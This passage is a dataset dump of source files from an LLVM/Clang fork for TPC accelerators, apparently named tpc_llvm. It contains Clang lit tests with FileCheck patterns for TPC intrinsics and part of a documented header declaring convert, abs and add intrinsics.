target_type=int8 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i8_vb(x, 3, SW_RZ, res, vpred, 1);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=3 target_type=int8 rz [[DEST]], [[SRC]], ![[VPRED]]\n\n#if defined(__gaudi__)\n res = v_convert_f32_to_i8_vb(x, 1, SW_RD, res, vpred, 0);\n *dest_ptr++ = res;\n // GEN23: convert.f32 lane_sel=1 target_type=int8 rd [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i8_vb(x, 1, SW_RU, res, vpred, 0);\n *dest_ptr++ = res;\n // GEN23: convert.f32 lane_sel=1 target_type=int8 ru [[DEST]], [[SRC]], [[VPRED]]\n#endif\n\n income = res;\n }\n}\n\n\n" }, { "alpha_fraction": 0.3776301145553589, "alphanum_fraction": 0.47397562861442566, "avg_line_length": 28.129032135009766, "blob_id": "908d9d97d5913171af2fae40458141f4b439129a", "content_id": "2f84f8a9d2d444db63bb106b1ad8b3972f7f94d6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 903, "license_type": "permissive", "max_line_length": 78, "num_lines": 31, "path": "/clang/test/RC99/IntrinsicsM/mul/s_i8_mul.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(signed char x0, signed char x1, int dest, _Bool pred) {\n int __local *dptr = (int __local *)dest;\n int res = 0;\n\n res = s_i8_mul(x0, x1, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_i8_mul(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_i8_mul(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S0, %S1, !%SP{{[0-9]+}}\n\n res = s_i8_mul(x0, 123, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S0, 0x7b, %SP0\n\n res = s_i8_mul(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S0, 0x7b, %SP{{[0-9]+}}\n\n res = s_i8_mul(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S0, 0x7b, !%SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6049046516418457, "alphanum_fraction": 0.6185286045074463, "avg_line_length": 29.58333396911621, "blob_id": "5e142b54a4882098224295867667f0c3c6c46be9", "content_id": "fc03e262cdae8dbb55d8f71c6f409d43d3249a11", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 367, "license_type": "permissive", "max_line_length": 86, "num_lines": 12, "path": "/clang/test/RC99/pragma/pragma-loop_unroll-e-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -verify -triple tpc -std=rc99 %s\n\nvoid main(int dest, float value, int start, int end, int stride) {\n __local__ float* res=(__local float *)dest;\n\n #pragma loop_unroll\t// expected-error{{missing argument; expected an integer value}}\n for (int x = start; x < end; x += stride) {\n *res = value;\n value += 2.0;\n ++res;\n }\n}\n" }, { "alpha_fraction": 0.5038759708404541, "alphanum_fraction": 0.5917312502861023, "avg_line_length": 11.483870506286621, "blob_id": "2f8e8ba725acaf2ba784c3255211b3aae2199745", "content_id": "ddb330f0328dd7807d9ed96b3563657b720a5a42", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 387, "license_type": "permissive", "max_line_length": 75, "num_lines": 31, "path": "/clang/test/RC99/restrictions/record-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n// expected-no-diagnostics\n\nstruct S1 {\n int F1;\n float F2;\n int __local *F3;\n int64 __local *F4;\n int5 F5;\n};\n\nstruct S2 {\n struct S1 F1;\n};\n\nstruct S3 {\n int64 F1;\n bool256 F2;\n};\n\nunion U3 {\n int F1;\n float F2;\n int __local *F3;\n int64 __local *F4;\n int5 F5;\n struct S1 F6;\n};\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.5843373537063599, "alphanum_fraction": 0.6566265225410461, "avg_line_length": 26.5, "blob_id": "172af3876e82083a100f67e023724d4669d02243", "content_id": "a318ab82d835ec7bc3688d8bf768622cb6542489", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 166, "license_type": "permissive", "max_line_length": 81, "num_lines": 6, "path": "/clang/test/RC99/bfloat16/bf16_cpu-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -verify %s\n\n_BFloat16 BF16_zero_01 = 0; // expected-error {{type _Bfloat16 is not supported}}\n\nvoid main() {\n}\n\n" }, { "alpha_fraction": 0.452215313911438, "alphanum_fraction": 0.5236177444458008, "avg_line_length": 32.30487823486328, "blob_id": "994dba90ad48c77532aa2f1715cd9d18dedaa658", "content_id": "6d39e2ef45a1f3ac7dd2329dbecb49731e0e8408", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2731, "license_type": "permissive", "max_line_length": 96, "num_lines": 82, "path": "/clang/test/RC99/Intrinsics/ld_tnsr_low.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu dali %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\n\nvoid main(tensor input, int dest, _Bool pred) {\n int5 index = {0};\n int64 __local *vector_ptr = (int64 __local *)dest;\n\n {\n float64 __local *dest_ptr = (float64 __local *)vector_ptr;\n float64 res = 0;\n \n res = v_f32_ld_tnsr_low_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr_low %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n int64 __local *dest_ptr = (int64 __local *)vector_ptr;\n int64 res = 0;\n\n res = v_i32_ld_tnsr_low_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr_low %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n uint64 __local *dest_ptr = (uint64 __local *)vector_ptr;\n uint64 res = 0;\n\n res = v_u32_ld_tnsr_low_b(index + 1, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr_low %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n short128 __local *dest_ptr = (short128 __local *)vector_ptr;\n short128 res = 0;\n\n res = v_i16_ld_tnsr_low_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr_low %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n ushort128 __local *dest_ptr = (ushort128 __local *)vector_ptr;\n ushort128 res = 0;\n\n res = v_u16_ld_tnsr_low_b(index + 1, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr_low %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n char256 __local *dest_ptr = (char256 __local *)vector_ptr;\n char256 res = 0;\n\n res = v_i8_ld_tnsr_low_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr_low %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n uchar256 __local *dest_ptr = (uchar256 __local *)vector_ptr;\n uchar256 res = 0;\n\n res = v_u8_ld_tnsr_low_b(index + 1, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr_low %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n bool256 __local *dest_ptr = (bool256 __local *)vector_ptr;\n bool256 res = 0;\n\n res = v_i1_ld_tnsr_low_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr_low %VP{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n}\n" }, { "alpha_fraction": 0.5067567825317383, "alphanum_fraction": 0.5726351141929626, "avg_line_length": 41.28571319580078, "blob_id": "8b2a30323d380c0a6d85e9f36248a7a7e53ffd6f", "content_id": "5eac9a8e8aaa9d6724188e610559ca7a7c323e99", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 592, "license_type": "permissive", "max_line_length": 131, "num_lines": 14, "path": "/clang/test/RC99/IntrinsicsM/and/b_b_and_b_b_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\nvoid main(int x0, int x1, int x2, int dest0)\n{\n \n \n _Bool res0 = 0; \nint __local *pred_res0 = (int __local *)dest0;\n\n res0 = b_b_and_b_b_b(x0, x1, res0, x2, 0);\n *pred_res0 = s_i32_add_s_s_b(*pred_res0, 1, *pred_res0, 1, res0, 0);\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: and.b %SP{{[0-9]+}}, %SP{{[0-9]+}}, %SP{{[0-9]+}}, %SP{{[0-9]+}}\n" }, { "alpha_fraction": 0.5857519507408142, "alphanum_fraction": 0.6174142360687256, "avg_line_length": 29.58333396911621, "blob_id": "07557f9ac6f212af3625be715976003e3afd3092", "content_id": "6d79f8b75cb8666bfa40e983dcfbbe7c53bfda2e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 379, "license_type": "permissive", "max_line_length": 92, "num_lines": 12, "path": "/clang/test/RC99/always_inline.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -ast-dump %s | FileCheck %s\r\nint func_01(int x) {\r\n return x + 2;\r\n}\r\n// CHECK-LABEL: FunctionDecl {{.*}} func_01 'int (int)'\r\n// CHECK: AlwaysInlineAttr {{.*}} Implicit always_inline\r\n\r\nvoid main() {\r\n int y = func_01(12);\r\n}\r\n// CHECK-LABEL: FunctionDecl {{.*}} main 'void ()'\r\n// CHECK-NOT: AlwaysInlineAttr\r\n" }, { "alpha_fraction": 0.5534709095954895, "alphanum_fraction": 0.6360225081443787, "avg_line_length": 34.53333282470703, "blob_id": "9f36d731aa9d22693b200014056c918a44054d07", "content_id": "1111d623b7863080bde9dd8ef2a179d1de1b57be", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 533, "license_type": "permissive", "max_line_length": 122, "num_lines": 15, "path": "/clang/test/RC99/driver/lut-warn/dali/lut-warn-different-intervals.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -S 2>&1 | FileCheck %s\n// XFAIL: *\nvoid main(int x0, int x3, int dest0)\n{\n\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 temp_res0 = 0;\n temp_res0 = v_f32_lookup_v_b(*ptr_x0, temp_res0, 1, e_fp32_tanh, x3, 0);\n temp_res0 = v_f32_lookup_v_b(*ptr_x0, temp_res0, 1, e_fp32_pow2, x3, 0);\n *res0 = temp_res0;\n}\n\n//CHECK: Performance warning: encountered special function IDs from different interval groups, this will cause LUT misses.\n" }, { "alpha_fraction": 0.6179701685905457, "alphanum_fraction": 0.7113537192344666, "avg_line_length": 59.511409759521484, "blob_id": "b26132b3f26ee48c6d06c08795e22f8bacd77ee4", "content_id": "7e445dcd26f5be2d2bdf5a4f04f2ff99564b6873", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 294388, "license_type": "permissive", "max_line_length": 202, "num_lines": 4865, "path": "/clang/lib/Headers/tpc-intrinsics.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- tpc-intrinsics.h----------------------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//- This file is a part of TPC compiler build system, it is *NOT* intended to\n//- be used by end users. Documentation presented in this file must be\n//- extracted by Doxygen or similar documentation tool to produce end users\n//- builtin functions reference.\n//-\n//- Declarations presented in this file are used by TPC intrinsic generator to\n//- produce intrinsic definitions for TPC compiler. Syntax used here is a\n//- very restricted subset of C declaration syntax.\n//------------------------------------------------------------------------------\n\ntypedef signed int int32_t;\ntypedef unsigned int uint32_t;\ntypedef signed short int16_t;\ntypedef unsigned short uint16_t;\ntypedef signed char int8_t;\ntypedef unsigned char uint8_t;\ntypedef signed char int4_t;\ntypedef unsigned char uint4_t;\ntypedef _BFloat16 bf16;\n\ntypedef struct _float64_int64_pair_t float64_int64;\ntypedef struct _float64_uint64_pair_t float64_uint64;\ntypedef struct _int64_float64_pair_t int64_float64;\ntypedef struct _int64_uint64_pair_t int64_uint64;\ntypedef struct _uint64_float64_pair_t uint64_float64;\ntypedef struct _uint64_int64_pair_t uint64_int64;\ntypedef struct _bfloat128_half128_pair_t bfloat128_half128;\ntypedef struct _bfloat128_short128_pair_t bfloat128_short128;\ntypedef struct _bfloat128_ushort128_pair_t bfloat128_ushort128;\ntypedef struct _half128_bfloat128_pair_t half128_bfloat128;\ntypedef struct _half128_short128_pair_t half128_short128;\ntypedef struct _half128_ushort128_pair_t half128_ushort128;\ntypedef struct _short128_bfloat128_pair_t short128_bfloat128;\ntypedef struct _short128_half128_pair_t short128_half128;\ntypedef struct _short128_ushort128_pair_t short128_ushort128;\ntypedef struct _ushort128_bfloat128_pair_t ushort128_bfloat128;\ntypedef struct _ushort128_half128_pair_t ushort128_halft128;\ntypedef struct _ushort128_short128_pair_t ushort128_short128;\n\n\n/// @file\n/// @brief Intrinsic functions\n///\n/// Most of the intrinsic functions represent particular instruction available\n/// in TPC cores and are translated to single instruction.\n///\n/// Intrinsic names\n/// ---------------\n///\n/// Intrinsic name has generally several components:\n/// - scalar/vector prefix (`s_` or `v_`),\n/// - operand type (like `f32_`),\n/// - instruction mnemonic (like `add`),\n/// - switch indicator (like `_acc32`),\n/// - distinguishing suffix (like `_vb`).\n/// All of them except instruction mnemonic are optional.\n///\n/// Scalar/vector prefix helps to distinguish between instruction that do the\n/// same operation but for scalar and vector data, like `s_i32_add` and\n/// `v_i32_add_b`.\n///\n/// Operand type designates type of operands of the corresponding instruction.\n/// In general it should not be considered as the return value type, although in\n/// many cases it is so. In some cases operand type is encoded in the instruction\n/// mnemonic, for convenience or for backward compatibility, as, for instance, in\n/// `s_convert_i8_to_bf16`. So it may absent even in instructions for which\n/// operand type is applicable.\n///\n/// Instruction mnemonic is same as the corresponding instruction name. In some\n/// cases the mnemonic is amended with additional information that helps to\n/// represent instruction. One example is the aforementioned 'convert' intrinsic.\n/// Another case is SEL instructions. Corresponding intrinsics have names like\n/// `v_f32_sel_eq_i32_b`. Type are provided to mimic function result and arguments.\n/// This instruction compares values of type 'vector of i32' ('arguments') and\n/// returns value of type `f32` ('result').\n///\n/// Switches usually are encoded in a separate argument. However there are\n/// switches that change function signature. For instance, if MAC instruction\n/// has switch `ACC_F32`, corresponding intrinsic must return `float128`, not\n/// `bfloat128` as in the absence of this switch. Different functions must\n/// represent the instruction with and without the switch. In such cases the\n/// switch is encoded in the intrinsic name: `s_bf16_mac` and `s_bf16_mac_acc32`.\n///\n/// Distinguishing suffix allows to have different names for the same instruction\n/// but with different arguments, line `v_add_b` and `v_add_vb`. In many cases these\n/// suffixes are `_b` and `_vb` if instruction allows both scalar and vector\n/// predicates.\n///\n/// Intrinsic arguments\n/// -------------------\n///\n/// The set of argument accepted by an intrinsic is determined by the operands of\n/// corresponding instruction. Most intrinsics have the arguments:\n/// - switch set,\n/// - income value,\n/// - predicate,\n/// - polarity.\n/// They are used just in this sequence at the end of argument list, like:\n///\n/// @code\n/// int32_t s_i32_add(int32_t a, int32_t b, int switches, int32_t income, bool predicate, bool polarity);\n/// @endcode\n///\n/// Switch set represent modifiers provided for instruction. It must be an\n/// integer value, known at compile time. It is a combination of constants, like:\n///\n/// @code\n/// s_i32_sub(a, b, SW_SAT | SW_NEG, 0, 1, 0);\n/// @endcode\n///\n/// Each intrinsic allows its own set of switches. If no special switches are\n/// needed, zero value should be used.\n/// Some switches change type or number of intrinsic arguments, for example,\n/// ACC_F32, PARTIAL, TO_16. They cannot be specified in switch set\n/// argument, to use them another intrinsic should be used, for instance,\n/// `s_bf16_mac_acc32` instead of `s_bf16_mac`.\n///\n/// The income attribute represent the income value of DEST ('destination')\n/// to be updated by the instruction.\n/// Predicate, polarity and income value are needed to support conditional\n/// execution. Almost every instruction can be executed conditionally\n/// depending on the value of some predicate. Intrinsic as a C function must\n/// always return appropriate value even if the instruction is not executed. The\n/// value returned in this case is determined by income argument.\n/// Hypothetical intrinsic for add operation may be represented in pseudocode as:\n/// @code\n/// int add(int a, int b, int income, bool predicate, bool polarity) {\n/// if (predicate != polarity)\n/// return a + b;\n/// else\n/// return income;\n/// }\n/// @endcode\n/// For intrinsic function that receive vector predicate the returned vector will\n/// be composed from instruction result elements where predicate == true,\n/// and income value elements where predicate == false.\n///\n/// Some instructions (like SET_INDX or MAC) do not produce new value, but modify\n/// some of its input arguments. In these cases separate input value is not\n/// required, as the intrinsic may return the argument to modify. Such intrinsics do\n/// not have input argument.\n///\n\n//\n// ------ High-level intrinsics\n//\n\n/// @brief Converts value of some type to another type.\n///\n/// @param a The value to convert.\n/// @param options OR'ed set of constants. \\n\n/// Only constants that represent rounding mode are supported now. \\n\n/// They are the same constants, that are used as switches in CONVERT intrinsics.\n/// @return Converted value\n///\n/// @{\nfloat64 convert_int64_to_float64(int64 a, const int options);\nfloat64 convert_uint64_to_float64(uint64 a, const int options);\n\nfloat128 convert_bfloat128_to_float128(bfloat128 a, const int options);\nfloat128 convert_half128_to_float128(half128 a, const int options);\nfloat128 convert_int128_to_float128(int128 a, const int options);\nfloat128 convert_uint128_to_float128(uint128 a, const int options);\nfloat128 convert_short128_to_float128(short128 a, const int options);\nfloat128 convert_ushort128_to_float128(ushort128 a, const int options);\n\nfloat256 convert_bfloat256_to_float256(bfloat256 a, const int options);\nfloat256 convert_half256_to_float256(half256 a, const int options);\nfloat256 convert_int256_to_float256(int256 a, const int options);\nfloat256 convert_uint256_to_float256(uint256 a, const int options);\nfloat256 convert_short256_to_float256(short256 a, const int options);\nfloat256 convert_ushort256_to_float256(ushort256 a, const int options);\nfloat256 convert_char256_to_float256(char256 a, const int options);\nfloat256 convert_uchar256_to_float256(uchar256 a, const int options);\n\nbfloat128 convert_float128_to_bfloat128(float128 a, const int options);\nbfloat128 convert_half128_to_bfloat128(half128 a, const int options);\nbfloat128 convert_int128_to_bfloat128(int128 a, const int options);\nbfloat128 convert_uint128_to_bfloat128(uint128 a, const int options);\nbfloat128 convert_short128_to_bfloat128(short128 a, const int options);\nbfloat128 convert_ushort128_to_bfloat128(ushort128 a, const int options);\n\nbfloat256 convert_float256_to_bfloat256(float256 a, const int options);\nbfloat256 convert_half256_to_bfloat256(half256 a, const int options);\nbfloat256 convert_int256_to_bfloat256(int256 a, const int options);\nbfloat256 convert_uint256_to_bfloat256(uint256 a, const int options);\nbfloat256 convert_short256_to_bfloat256(short256 a, const int options);\nbfloat256 convert_ushort256_to_bfloat256(ushort256 a, const int options);\nbfloat256 convert_char256_to_bfloat256(char256 a, const int options);\nbfloat256 convert_uchar256_to_bfloat256(uchar256 a, const int options);\n\nhalf128 convert_float128_to_half128(float128 a, const int options);\nhalf128 convert_bfloat128_to_half128(bfloat128 a, const int options);\nhalf128 convert_int128_to_half128(int128 a, const int options);\nhalf128 convert_uint128_to_half128(uint128 a, const int options);\nhalf128 convert_short128_to_half128(short128 a, const int options);\nhalf128 convert_ushort128_to_half128(ushort128 a, const int options);\n\nhalf256 convert_float256_to_half256(float256 a, const int options);\nhalf256 convert_bfloat256_to_half256(bfloat256 a, const int options);\nhalf256 convert_int256_to_half256(int256 a, const int options);\nhalf256 convert_uint256_to_half256(uint256 a, const int options);\nhalf256 convert_short256_to_half256(short256 a, const int options);\nhalf256 convert_ushort256_to_half256(ushort256 a, const int options);\n\n\n\n\n\nint64 convert_float64_to_int64(float64 a, const int options);\nint64 convert_uint64_to_int64(uint64 a, const int options);\n\nint128 convert_float128_to_int128(float128 a, const int options);\nint128 convert_bfloat128_to_int128(bfloat128 a, const int options);\nint128 convert_half128_to_int128(half128 a, const int options);\nint128 convert_uint128_to_int128(uint128 a, const int options);\nint128 convert_short128_to_int128(short128 a, const int options);\nint128 convert_ushort128_to_int128(ushort128 a, const int options);\n\nint256 convert_float256_to_int256(float256 a, const int options);\nint256 convert_bfloat256_to_int256(bfloat256 a, const int options);\nint256 convert_half256_to_int256(half256 a, const int options);\nint256 convert_uint256_to_int256(uint256 a, const int options);\nint256 convert_short256_to_int256(short256 a, const int options);\nint256 convert_ushort256_to_int256(ushort256 a, const int options);\nint256 convert_char256_to_int256(char256 a, const int options);\nint256 convert_uchar256_to_int256(uchar256 a, const int options);\n\nuint64 convert_float64_to_uint64(float64 a, const int options);\nuint64 convert_int64_to_uint64(int64 a, const int options);\n\nuint128 convert_float128_to_uint128(float128 a, const int options);\nuint128 convert_bfloat128_to_uint128(bfloat128 a, const int options);\nuint128 convert_half128_to_uint128(half128 a, const int options);\nuint128 convert_int128_to_uint128(int128 a, const int options);\nuint128 convert_short128_to_uint128(short128 a, const int options);\nuint128 convert_ushort128_to_uint128(ushort128 a, const int options);\n\nuint256 convert_float256_to_uint256(float256 a, const int options);\nuint256 convert_bfloat256_to_uint256(bfloat256 a, const int options);\nuint256 convert_half256_to_uint256(half256 a, const int options);\nuint256 convert_int256_to_uint256(int256 a, const int options);\nuint256 convert_short256_to_uint256(short256 a, const int options);\nuint256 convert_ushort256_to_uint256(ushort256 a, const int options);\nuint256 convert_char256_to_uint256(char256 a, const int options);\nuint256 convert_uchar256_to_uint256(uchar256 a, const int options);\n\nshort128 convert_float128_to_short128(float128 a, const int options);\nshort128 convert_bfloat128_to_short128(bfloat128 a, const int options);\nshort128 convert_half128_to_short128(half128 a, const int options);\nshort128 convert_int128_to_short128(int128 a, const int options);\nshort128 convert_uint128_to_short128(uint128 a, const int options);\nshort128 convert_ushort128_to_short128(ushort128 a, const int options);\n\nshort256 convert_float256_to_short256(float256 a, const int options);\nshort256 convert_bfloat256_to_short256(bfloat256 a, const int options);\nshort256 convert_half256_to_short256(half256 a, const int options);\nshort256 convert_int256_to_short256(int256 a, const int options);\nshort256 convert_uint256_to_short256(uint256 a, const int options);\nshort256 convert_ushort256_to_short256(ushort256 a, const int options);\nshort256 convert_char256_to_short256(char256 a, const int options);\nshort256 convert_uchar256_to_short256(uchar256 a, const int options);\n\nushort128 convert_float128_to_ushort128(float128 a, const int options);\nushort128 convert_bfloat128_to_ushort128(bfloat128 a, const int options);\nushort128 convert_half128_to_ushort128(half128 a, const int options);\nushort128 convert_int128_to_ushort128(int128 a, const int options);\nushort128 convert_uint128_to_ushort128(uint128 a, const int options);\nushort128 convert_short128_to_ushort128(short128 a, const int options);\n\nushort256 convert_float256_to_ushort256(float256 a, const int options);\nushort256 convert_bfloat256_to_ushort256(bfloat256 a, const int options);\nushort256 convert_half256_to_ushort256(half256 a, const int options);\nushort256 convert_int256_to_ushort256(int256 a, const int options);\nushort256 convert_uint256_to_ushort256(uint256 a, const int options);\nushort256 convert_short256_to_ushort256(short256 a, const int options);\nushort256 convert_char256_to_ushort256(char256 a, const int options);\nushort256 convert_uchar256_to_ushort256(uchar256 a, const int options);\n\nchar256 convert_float256_to_char256(float256 a, const int options);\nchar256 convert_bfloat256_to_char256(bfloat256 a, const int options);\nchar256 convert_half256_to_char256(half256 a, const int options);\nchar256 convert_int256_to_char256(int256 a, const int options);\nchar256 convert_uint256_to_char256(uint256 a, const int options);\nchar256 convert_short256_to_char256(short256 a, const int options);\nchar256 convert_ushort256_to_char256(ushort256 a, const int options);\nchar256 convert_uchar256_to_char256(uchar256 a, const int options);\n\nuchar256 convert_float256_to_uchar256(float256 a, const int options);\nuchar256 convert_bfloat256_to_uchar256(bfloat256 a, const int options);\nuchar256 convert_half256_to_uchar256(half256 a, const int options);\nuchar256 convert_int256_to_uchar256(int256 a, const int options);\nuchar256 convert_uint256_to_uchar256(uint256 a, const int options);\nuchar256 convert_short256_to_uchar256(short256 a, const int options);\nuchar256 convert_ushort256_to_uchar256(ushort256 a, const int options);\nuchar256 convert_char256_to_uchar256(char256 a, const int options);\n/// @}\n\n\n//\n// ------ ABS\n//\n\n/// @brief Represents ABS instruction - Calculates absolute value.\n///\n/// @param a The argument (SRC1).\n/// @param switches Switches of ABS instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Absolute value of operand \\p a.\n///\n/// This operation is implemented as instruction ABS for integer operands and \\n\n/// FORM_FP_NUMBER for floating point (actually AND on SPU).\n///\n///\n/// @{\nfloat s_f32_abs(float a, int switches=0, float income=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_abs(bf16 a, int switches=0, bf16 income=0, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_abs(int32_t a, int switches=0, int32_t income=0, bool predicate=1, bool polarity=0);\nint16_t s_i16_abs(int16_t a, int switches=0, int16_t income=0, bool predicate=1, bool polarity=0);\nint8_t s_i8_abs(int8_t a, int switches=0, int8_t income=0, bool predicate=1, bool polarity=0);\nfloat64 v_f32_abs_b(float64 a, int switches=0, float64 income=0, bool predicate=1, bool polarity=0);\nfloat64 v_f32_abs_vb(float64 a, int switches, float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_abs_b(bfloat128 a, int switches=0, bfloat128 income=0, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_abs_vb(bfloat128 a, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nint64 v_i32_abs_b(int64 a, int switches=0, int64 income=0, bool predicate=1, bool polarity=0);\nint64 v_i32_abs_vb(int64 a, int switches, int64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_abs_b(short128 a, int switches=0, short128 income=0, bool predicate=1, bool polarity=0);\nshort128 v_i16_abs_vb(short128 a, int switches, short128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_abs_b(char256 a, int switches=0, char256 income=0, bool predicate=1, bool polarity=0);\nchar256 v_i8_abs_vb(char256 a, int switches, char256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n/// @brief Represents ABS instruction for int5 operands.\n///\n/// @param a The argument (SRC1).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of ABS instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return IRF of absolute values of argument \\p a.\n///\n///\n/// @{\nint5 i_i32_abs(int5 a, const int dimmask, const int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ ADD\n//\n\n/// @brief Represents ADD instruction.\n///\n/// @param a The first SRC operand to ADD (SRC1).\n/// @param b The second SRC operand to ADD (SRC2).\n/// @param switches Switches of ADD instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Sum of operands \\p a and \\p b.\n///\n/// \\par Allowed switches are:\n/// \\li SW_SAT - Saturate (integer types only). \\n\n///\n/// @{\nfloat s_f32_add(float a, float b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_add(bf16 a, bf16 b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_add(int32_t a, int32_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t 